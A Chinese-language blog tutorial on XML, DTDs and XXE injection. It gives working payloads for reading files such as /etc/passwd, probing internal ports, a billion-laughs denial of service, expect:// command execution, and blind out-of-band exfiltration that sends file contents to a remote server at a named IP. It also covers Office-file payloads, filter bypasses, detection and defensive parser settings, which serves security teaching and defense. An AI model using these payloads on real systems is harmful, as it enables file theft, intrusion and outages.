XML&XXE安全

已于 2022-03-21 12:23:01 修改
阅读量187 收藏 1
点赞数
分类专栏： Web漏洞 文章标签： xml
于 2022-03-10 11:55:43 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/xiTaiShen/article/details/123397423
版权
本文深入探讨了XML External Entity Injection (XXE)漏洞，介绍了XML和DTD的基础知识，以及XXE的利用方式，如文件读取、内网探测、DOS攻击和命令执行。同时，讨论了无回显XXE的利用，绕过策略，以及漏洞检测、防御方法和相关工具。还涵盖了Content-Type中的json和xml在XXE中的应用，以及如何在Office文件中实施XXE攻击。
摘要由CSDN通过智能技术生成

XXE漏洞介绍

XXE全称XML External Entity Injection，即外部实体注入。owasp网站对其的描述是：XXE是针对应用程序解析XML输入类型的攻击。当包含对外部实体的引用的 XML 输入被弱配置的 XML 解析器处理时，就会发生这种攻击。这种攻击可能导致机密数据泄露、拒绝服务、服务器端请求伪造、从解析器所在机器的角度进行端口扫描，以及其他系统影响。

XML基础知识

XML 指可扩展标记语言（EXtensible Markup Language），是一种很像html的语言。但它的标签需要我们自己定义。

基本格式：

 <?xml version="1.0" encoding="UTF-8"?> //开头需要声明
 <root> //必须包含一个根元素
     <child>//子元素
         <subchild></subchild>
     </child>
 </root>//所有元素都需要有对应的关闭标签

语法规则：

1.标签大小写敏感

2.属性值必须加引号，单双都可，如果值用双引号可以用单引号包裹

3.所有元素都必须有一个关闭标签

4.标签必须正确嵌套

5.XML中空格会被保留，不像html中只保留一个

6.<、&必须用实体引用，>、‘、“建议使用实体引用（以防万一还是都用实体引用吧）

DTD基础知识

文档类型定义（DTD）可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中，也可作为一个外部引用。

DTD中实体可分为内部实体和外部实体，又可分为参数实体。下面分别介绍这两种分类。（其实关于这种分类，我在网上看到好几种说法，也不知道谁是最准确的，但是不管怎么分，也就只有那么几种写法）

内部实体和外部实体

DTD的作用就是用来定义XML文档的合法构建模块DTD可以在XML文档内声明，也可以在外部引用。

 内部声明DTD  <!DOCTYPE 根元素 [元素声明]>
 外部声明DTD  <!DOCTYPE 根元素 SYSTEM "文件名">
 <!DOCTYPE note SYSTEM "Note.dtd">
 或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

内部实体声明：(在DTD内部声明)

 语法：<!ENTITY entity-name "entity-value"> 
 示例：
 <!DOCTYPE author[
     <!ELEMRNT author (#PCDATA)
     <!ENTITY name "Restart">
 ]>
 <author>&name;</author>//引用实体
 <?xml version="1.0"?>                       //xml声明
 <!DOCTYPE note [
 <!ELEMENT note (to,from,heading,body)>    //定义了note元素，并且note元素下面有4个子元素
 <!ELEMENT to      (#PCDATA)>              //定义了子元素to，后面的（＃PCDATA）意思是to元素里面的字符串内容不会被解析
 <!ELEMENT from    (#PCDATA)>
 <!ELEMENT heading (#PCDATA)>
 <!ELEMENT body    (#PCDATA)>
 ]>                                   //从<!DOCTYPE...到}>,是DTD文档的定义 
 <note>
 <to>George</to>
 <from>John</from>
 <heading>Reminder</heading>
 <body>Don't forget the meeting!</body>
 </note>                                     //后面这部分就是XML文件内容

外部实体声明：（在DTD外部声明实体）

 语法：<!ENTITY entity-name SYSTEM "URL/URI"> 
 示例:
 <!DOCTYPE author [
     <!ENTITY name SYSTEM "author.dtd">
 ]>
 <author>&name;</author>//引用实体
 <?xml version="1.0"?>
 <!DOCTYPE note SYSTEM "note.dtd">
 <note>
 <to>George</to>
 <from>John</from>
 <heading>Reminder</heading>
 <body>Don't forget the meeting!</body>
 </note>

下面是note.dtd的内容

 <!DOCTYPE note [
 <!ELEMENT note (to,from,heading,body)>
 <!ELEMENT to      (#PCDATA)>              
 <!ELEMENT from    (#PCDATA)>
 <!ELEMENT heading (#PCDATA)>
 <!ELEMENT body    (#PCDATA)>
 ]>

外部声明实体外部实体用来引用外部资源,有两个关键字SYSTEM和PUBLIC两个,表示实体来自本地计算机还是公共计算机,外部实体的利用会用到协议如下:

不同语言下支持的协议:

参数实体

 <!ENTITY %实体名称 "值">
 <!ENTITY %实体名称 SYSTEM "URL">
 语法：<!ENTITY % entity-name "entity-value">
 示例：
 <!DOCTYPE author[
     <!ENTITY % name "Restart">
 ]>
 <author>%name;</author>

实例：

 <!DOCTYPE foo [<!ELEMENT foo ANY >
 <!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
 %xxe;]>
 <foo>&evil;</foo>

而里面引用的外部实体evil.dtd的内容:

 <!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >

正因为外部实体支持的http,file等协议,那么就有可能通过以用外部实体进行远程文件读取。

参数实体参数实体只能在DTD中定义和使用实体，一般的话引用时%作为前缀。而内部实体是指在一个实体中定义的另一个实体，说白了就是嵌套的。

可以发现除了参数实体在定义和引用的时候需要用%，其他实体引用都是用&。

总结出来可以知道，在XML中引用实体，都需要（&或%）+（实体名）+（;），这三个条件（或者说元素）缺一不可。

利用方式

可利用其它各种协议进行操作，一般常用的是file、http、php协议。

文件读取

抓包后简单构造读取文件

 <?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE xxe [
 <!ENTITY xxe SYSTEM "file:///etc/passwd">]>

有的时候不能直接读出文件内容，需要编码一下，例如读取php文件。因为php文件内部已经含有<等字符，因此需要用filter来读

 <?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE xxe [
 <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">]>

还有一个需要注意的地方，就是嵌套的参数实体，内层的%需要改为字符实体，例如

 <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;

 <?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE xxe [
 <!ENTITY xxe SYSTEM "file:///flag">]>
 <H3rmesk1t>
     <ctfshow>
         &xxe;
     </ctfshow>
 </H3rmesk1t>

构造服务器接收的标签，将变量写到标签内部。

内网探测

正因为xml外部实体攻击利用的http协议，也就是说利用该请求探测内网端口的存活，从而可以进行ssrf攻击。构造代码：

 <?xml version="1.0" encoding="utf-8"?>
 <!DOCTYPE ANY [
 <!ENTITY xxes SYSTEM “http://127.0.0.1:8000"> 
 ]>
 <user><username>&xxes;</username><password>admin</password></user>

DOS攻击

本质是递归，通俗来说就是套娃

 <?xml version="1.0"?>
      <!DOCTYPE lolz [
      <!ENTITY lol "lol">
      <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
      <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
      <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
      <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
      <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
      <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
      <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
      <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
      ]>
      <lolz>&lol9;</lolz>

expect rce（命令执行）

在安装expect扩展的PHP环境里执行系统命令

 <?xml version="1.0" encoding="utf-8"?> 
 <!DOCTYPE xxe [
 <!ELEMENT name ANY >
 <!ENTITY xxe SYSTEM "expect://id" >]>
 <root>
 <name>&xxe;</name>
 </root>

无回显的xxe

这种xxe需要将数据外带，可以利用burp上的collaborator工具

原理就是将这个工具随机产生的url复制到xxe的payload中，当目标服务器进行了外部的请求和交互，该工具会记录下来，于是证明了漏洞存在。

当然，除了利用这个工具，其他平台也可以，类比其他攻击方式的数据外带

对于传统的XXE来说，要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件，如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

可以将文件内容发送到远程服务器，然后读取。

可以使用外带数据通道提取数据，先使用php://filter获取目标文件的内容，然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

具体无回显参考：XXE漏洞学习 - 时光不改 - 博客园

外部引用

1、利用dnslog检测是否存在漏洞

 <?xml version="1.0" ?>
 <!DOCTYPE test [
     <!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">
     %file;
 ]>
 ​
 <user><username>&send;</username><password>Mikasa</password></user>

2、外部引用尸体dtd

 <?xml version="1.0" ?>
 <!DOCTYPE test [
     <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
     %file;
 ]>
 <user><username>&send;</username><password>Mikasa</password></user>
 ​
 evil2.dtd
 <!ENTITY send SYSTEM "file:///d:/e.txt">
 ​

3、无回显读文件

 <?xml version="1.0"?>
 <!DOCTYPE ANY[
 <!ENTITY % file SYSTEM "file:///d:/e.txt">
 <!ENTITY % remote SYSTEM "http://139.196.239.98/test.dtd">
 %remote;
 %all;
 ]>
 <root>&send;</root>
 ​
 test.dtd
 <!ENTITY % all "<!ENTITY send SYSTEM 'http://139.196.239.98/x.php?1=%file;'>">
 ​
 当file协议读取不了的时候尝试使用base64加密来读取
 <?xml version="1.0"?>
 <!DOCTYPE ANY[
 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
 <!ENTITY % remote SYSTEM "http://139.196.239.98/test.dtd">
 %remote;
 %all;
 ]>
 <root>&send;</root>
 ​
 test.xml
 <!ENTITY % all "<!ENTITY send SYSTEM 'http://139.196.239.98/x.php?1=%file;'>">

Content-Type中的json和xml

当WEB服务使用XML或者JSON中的一种进行传输时，服务器可能会接收开发人员并未预料到的数据格式。如果服务器上的XML解析器的配置不完善，在JSON传输的终端可能会遭受XXE攻击

简单来说就是将Content-Type: application/json改为Content-Type: application/xml，然后将post的内容格式也从json转换为xml，举个例子

 原始json数据：
 {"search":"name","value":"netspitest"} 
 ​
 修改为xml格式后：
 <?xml version="1.0" encoding="UTF-8" ?>
 <root>
 <search>name</search>
 <value>netspitest</value>
 </root>

加上root的原因是：json转换过来后没有XML格式文件所必须的元素，可能导致服务器无法正常响应

关于office文件xxe攻击的实现

这个地方首先需要明白xml文件的文件格式，其本质也属于zip压缩文件，相信做过misc题目的同学应该都清楚，office的文件都可以将后缀名改成zip，以压缩文件的方式查看。

了解了这一点，那么来看看excel的构成。这里我新建了一个空白的excel文件，将后缀改为了zip后打开

这里关注[Content_Types].xml文件，将payload插入这个文件，然后将压缩包还原为excel文件进行后续攻击

为了能够更加清楚地理解这种攻击方式，这里给出三个例子

1.利用docx实现XXE

2.利用Excel进行XXE攻击

3.利用Blind XXE Getshell(Java网站)

因此，当渗透测试时遇到上传office文件的地方，不妨尝试一下这种攻击方式

绕过

当检测版本号的时候，可以不写版本号

 无回显利用
 <!DOCTYPE ANY[
 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
 <!ENTITY % remote SYSTEM "http://139.196.239.98/test.dtd">
 %remote;
 %all;
 ]>
 <root>&send;</root>
 ​

当过滤了http的时候，可以尝试使用utf-16来绕过

 在python中写post请求进行发包
 将payload进行utf-16编码
 ​

漏洞检测

1、检测XML是否会被解析

查看其返回，如果能被解析，则发送构造了payload的数据包过去，看是否仍然能被解析。

获取得到Content-Type或数据类型为xml时，尝试进行xml语言payload进行测试

不管获取的Content-Type类型或数据传输类型，均可尝试修改后提交测试xxe

流程：功能分析-前端提交-源码&抓包-构造Paylod测试

2、检测服务器是否支持外部实体

3、如果上面两步都支持，那么就看能否回显。有则直接攻击，无则参考无回显的xxe攻击

4、看是否是xfire开发的或者某些wsdl结尾的文件

解析wsdl文件生成request，可以利用soap解析工具，当生成request之后可将实体编码的payload放到<queryInfo>标签后面，若服务器存在此漏洞，则会根据payload中的内容做指定操作，如远程访问访问我们的主机，这是我们可以监听对应的端口，查看结果。

5、查看有明显的XML作为内容的输入点的，及某些以json格式的request。

6、从php代码层面上

最开始，引入一个file_get_contents函数，将整个XML数据读入data字符串中，然后交给php的xml解析函数simplexml_load_string()解析，解析后的数据赋给xml变量。

这一数据即XML字符串中使用的对象(或者说根元素)的数据，并echo输出出来。

代码审计

直接搜特定函数或特定功能

相关函数

 file_get_contents() 函数：接收xml变量
 loadXML() 函数：从字符串中加载XML文件
 simplexml_load_string() 函数：解析xml

漏洞危害

DOS攻击

SSRF攻击

使用file协议读取文件

端口探测

执行系统命令

漏洞防御

  1. 使用开发语言提供的禁用外部实体的方法

 PHP：
 libxml_disable_entity_loader(true);
 ​
 JAVA:
 DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
 dbf.setExpandEntityReferences(false);
 ​
 Python：
 from lxml import etree
 xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤和验证用户提交的XML数据过滤关键词<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

不允许XML中含有任何自己声明的DTD

有效的措施：配置XML parser只能使用静态DTD，禁止外来引入；对于Java来说，直接设置相应的属性值为false即可

注意

需要注意的就是XXE的造成与PHP版本无关，与libxml库的版本有关。libxml <= 2.9.0中，默认启用了外部实体，libxml>2.9.0中默认仅用了外部实体。XXE并不是直接由libxml库造成的，libxml库提供了一些XML核心功能，包括禁用外部实体的libxml_disable_entity_loader()函数，SimpleXML库提供了解析XML的函数，SimpleXML库依赖于libxml库。

靶场：

 json格式的xxe：http://web.jarvisoj.com:9882/

https://github.com/c0ny1/xxe-lab

https://download.vulnhub.com/xxe/XXE.zip

xxe自动化工具：

https://github.com/enjoiz/XXEinjector

https://github.com/vkbiu/docem

参考：

xxe详细文章：XXE漏洞学习从入门到放弃 - 简书

java的xxe漏洞：JAVA的XXE漏洞 - 简书

向docx odt pptx等文件中嵌入XXE或XSS Payload：Docem：向docx odt pptx等文件中嵌入XXE或XSS Payload - FreeBuf网络安全行业门户

XXE漏洞原理 - FreeBuf网络安全行业门户

实战讲解XXE漏洞的利用与防御策略

CTF XXE - MustaphaMond - 博客园

XXE漏洞学习 - 时光不改 - 博客园

初岄
关注
专栏目录
第85天：CTF夺旗-JAVA考点反编译&XXE&反序列化1
08-03
在网络安全领域，尤其是CTF（Capture The Flag）竞赛中，Java技术经常成为关键考点，涉及到的知识点包括但不限于反编译、XXE（XML External Entity）攻击、反序列化漏洞以及文件安全。这些知识点是黑客攻防战中的...
XML 基础知识 && XXE 漏洞原理解析及实验（基础篇）
Jinmindong
02-16 1205
对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。同时每个成长路线对应的板块都有配套的视频提供：当然除了有配套的视频，同时也为大家整理了各种文档和书籍资料&工具，并且已经帮大家分好类了。
启用 XML 安全性
问道-正确认识人生的规律，只有从人生的规律中才能求得实实在在的名与利
02-23 876
XML 加密和 XML 签名简介
【XXE漏洞安全-全网最详细讲解】
heike_Ch的博客
06-19 1025
Entity）漏洞是一种安全漏洞，出现在使用XML解析器的应用程序中。它允许攻击者利用可信任的XML扩展功能来执行恶意操作，如读取本地文件、发起远程网络请求或执行任意命令。XXE漏洞的发生通常是由于应用程序在解析XML输入时未正确验证或限制实体引用。攻击者可以通过构造恶意的XML输入，将外部实体（externalentity）引用进来，然后利用这些实体来获取敏感信息或进行其他攻击。其中最常见的一种攻击是利用DTD（Document Type。
XXE&XML漏洞详解
剁椒鱼头没剁椒的博客
12-29 4220
这里我对XML也不是太懂，无法对其进行解释，同时也怕解释出现错误，使其误导，这里我发一下参考链接。XML教程文档类型定义（DTD）可定义合法的XML文档构建模块，它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中（内部引用），也可作为一个外部引用。内部声明DTD: 引用外部DTD: DTD文档中有很多重要的关键字如下：DOCTYPE（DTD的声明）
网络安全筑基篇——XSS、XML、XXE
最新发布
weixin_55762309的博客
07-10 958
XSS、XXE、XML的区别
渗透测试——漏洞扫描工具
wuli1024的博客
11-20 933
然后还要将all这个压缩包里的plugin_feed_info.inc提取出来，命令行是 tar -zxvf all-2.0.tar.gz plugin_feed_info.inc，然鹅，我提取不出来。将下载好的插件移动到Nessus目录下，然后输入sudo /opt/nessus/sbin/nessuscli update all-2.0.tar.gz。用户名和密码随便写写就好，随后将会更新补丁，OK，这样Nessus可以使用了。将会获得一串数字，然后去激活码的这个网站，输入自己的邮箱获取激活码。
信息安全_xxe注入应用与拓展.pptx
08-14
XXE，全称为XML External Entity Injection，是针对XML解析器的一种安全漏洞，它利用XML文档中的外部实体（External Entity）来获取系统敏感信息或执行恶意操作。XML实体允许开发者引用外部资源，如本地文件、网络...
XML技术及安全基础防护
09-12
2. **XXE（XML External Entity）攻击**：攻击者利用XML处理器的外部实体加载功能，读取或修改服务器上的敏感文件。防御策略是限制XML解析器的外部实体加载，禁用不受信任的DTD。 3. **XPath注入**：攻击者通过构造...
XXE漏洞详解【内含vulnhub靶场XXE Lab:1详解】
07-30
XXE（XML External Entity）漏洞，全称为XML外部实体注入，是针对使用XML解析器的应用程序的一种安全漏洞。XML是一种标记语言，常用于数据交换，而外部实体是XML文档的一部分，允许引用外部资源，如文件系统、网络...
xml安全基础
02-27
然而，随着其广泛应用，XML安全问题也日益凸显。本主题将深入探讨XML安全的基础知识，包括潜在的风险、攻击手段以及防范措施。 一、XML注入攻击 XML注入是一种常见的安全威胁，攻击者通过在XML输入数据中插入恶意...
你所不知道的XML安全——XML攻击方法小结
01-09
转载: 你所不知道的XML安全——XML攻击方法小结. XML可扩展标记语言，被设计用来传输和存储数据，其形式多样。某些在XML中被设计出来的特性，比如 XML schemas(遵循XML Schemas 规范)和documents type definitions(DTDs)都是安全问题来源。纵然被公开的讨论了上十年，还是有一大批一大批的软件死在针对XML的攻击上。
网络安全进阶学习第二十一课——XML介绍
p36273的博客
11-02 408
XML（eXtensible Markup Language）,可扩展标记语言，是一种标记语言，使用简单标记描述数据；（另一种常见的标记语言是HTML）XML是一种非常灵活的语言，没有固定的标签，所有标签都可以自定义；通常XML被用于信息的传递和记录，因此，xml经常被用于充当配置文件。如果把 HTML 和 XML 进行对比的话，HTML 旨在显示数据信息，而 XML 旨在用来进行数据的传输和存储。DTD（文档类型定义）的作用是定义 XML 文档的合法构建模块。
CVE-2022-38817
初岄的博客
10-12 2149
Dapr Dashboard 存在 未授权访问漏洞，在未经授权的情况下获取云上redis、mongodb、rabbitmq等应用的明文配置信息，并可以进一步利用这些配置信息获取云上的敏感数据。
信息搜集之系统篇
初岄的博客
03-28 4000
获取网络信息 获取服务产商能第一时间预知道目标的防火情况，难度大不大。也便于后期换一种思路攻击。 学校或企业内部的机房一般会用内网去架构一台服务器，将内网的端口映射到网络出口地址，攻击者在扫描探针的时候，不能探针到网站的真实信息。可以在web服务上撕开一道口子进行攻击。 获取方式： 1、通过whois查询获取。 2、nmap、goby等扫描工具扫描获取。 3、https://www.netcraft.com/ 等网站查询获取。 获取服务信息 应用协议 目标本机的应用协议 见渗透测试中常见端口
XML&XXE
qq_56895581的博客
01-20 203
XML 指可扩展标记语言（eXtensible Markup Language）。方便理解来说，这里与HTML对比着：HTML和XML 为不同的目的而设计，HTML 被设计用来显示数据，其焦点是数据的外观。XML 被设计用来传输和存储数据，其焦点是数据的内容。HTML 旨在显示信息，而 XML 旨在传输信息。DTD文档类型定义（DTD）可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
XML、XXE知识点
m0_63917373的博客
11-02 577
xxe XML
初识XML------XXE漏洞
weixin_44770698的博客
06-09 605
初始XXE漏洞
关于XML解析存在的安全问题指引
蒋固金（jianggujin）的专栏
08-13 8206
最近一段时间被曝出的微信支付的XML解析存在的安全问题，主要问题是XML外部实体注入漏洞(XML External Entity Injection，简称 XXE)，该安全问题是由XML组件默认没有禁用外部实体引用导致，非微信支付系统存在漏洞。微信官方做了回应，原文地址：https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5 如...
SpringMVC XML绑定POJO中的XXE漏洞解析
【资源摘要信息】: "本文档探讨了SpringMVC中XML绑定到POJO时可能出现的XXE（XML External Entity）漏洞，以及其背后的原理和安全风险。" 在SpringMVC框架中，当使用XML来绑定到Java对象（POJOs）时，如果不正确地...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

初岄

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值